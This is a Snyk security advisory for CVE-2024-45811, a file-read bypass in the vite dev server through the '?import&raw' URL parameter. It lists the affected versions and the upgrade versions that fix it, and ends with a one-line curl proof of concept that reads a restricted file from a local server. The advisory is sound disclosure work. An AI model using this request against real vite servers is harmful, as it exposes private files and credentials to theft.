Information Exposure Affecting vite package, versions <3.2.11 >=4.0.0 <4.5.5 >=5.0.0 <5.2.14 >=5.3.0 <5.3.6 >=5.4.0 <5.4.6
Threat Intelligence
Exploit Maturity
Proof of concept
EPSS
0.04% (10th
percentile)
Do your applications use this vulnerable package?
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applications- Snyk ID SNYK-JS-VITE-8023174
- published 18 Sep 2024
- disclosed 17 Sep 2024
- credit adi1
Introduced: 17 Sep 2024
New CVE-2024-45811 Open this link in a new tabHow to fix?
Upgrade vite to version 3.2.11, 4.5.5, 5.2.14, 5.3.6, 5.4.6 or higher.
Overview
vite is a Native-ESM powered web dev build tool
Affected versions of this package are vulnerable to Information Exposure when using ?import&raw in the URL parameters. An attacker can access file contents that should be restricted by exploiting this bypass mechanism.
PoC
$ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw"
export default "top secret content\n"
//# sourceMappingURL=data:application/json;base64,eyJ2...